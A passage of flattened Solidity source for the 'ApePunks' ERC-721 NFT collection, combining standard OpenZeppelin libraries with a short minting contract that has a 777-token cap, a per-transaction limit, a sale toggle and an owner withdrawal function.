) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
contract ApePunks is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenId;
uint256 public constant MAX_APEPUNK = 777;
uint256 public price = 88800000000000000;
string baseTokenURI;
bool public saleOpen = false;
event ApePunksMinted(uint256 totalMinted);
constructor(string memory baseURI) ERC721("ApePunks", "ApePunk") {
setBaseURI(baseURI);
}
//Get token Ids of all tokens owned by _owner
function walletOfOwner(address _owner)
external
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function setPrice(uint256 _newPrice) external onlyOwner {
price = _newPrice;
}
function toggleSale() external onlyOwner {
saleOpen = !saleOpen;
}
function withdraw() external onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function mint(address _to, uint256 _count) external payable {
require(
totalSupply() + _count <= MAX_APEPUNK,
"Exceeds maximum supply of ApePunks"
);
require(
_count > 0,
"Minimum 1 ApePunks has to be minted per transaction"
);
if (msg.sender != owner()) {
require(saleOpen, "Sale is not open yet");
require(
_count <= 5,
"Maximum 5 ApePunks can be minted per transaction"
);
require(
msg.value >= price * _count,
"Ether sent with this transaction is not correct"
);
}
for (uint256 i = 0; i < _count; i++) {
_mint(_to);
}
}
function _mint(address _to) private {
_tokenId.increment();
uint256 tokenId = _tokenId.current();
_safeMint(_to, tokenId);
emit ApePunksMinted(tokenId);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
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pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
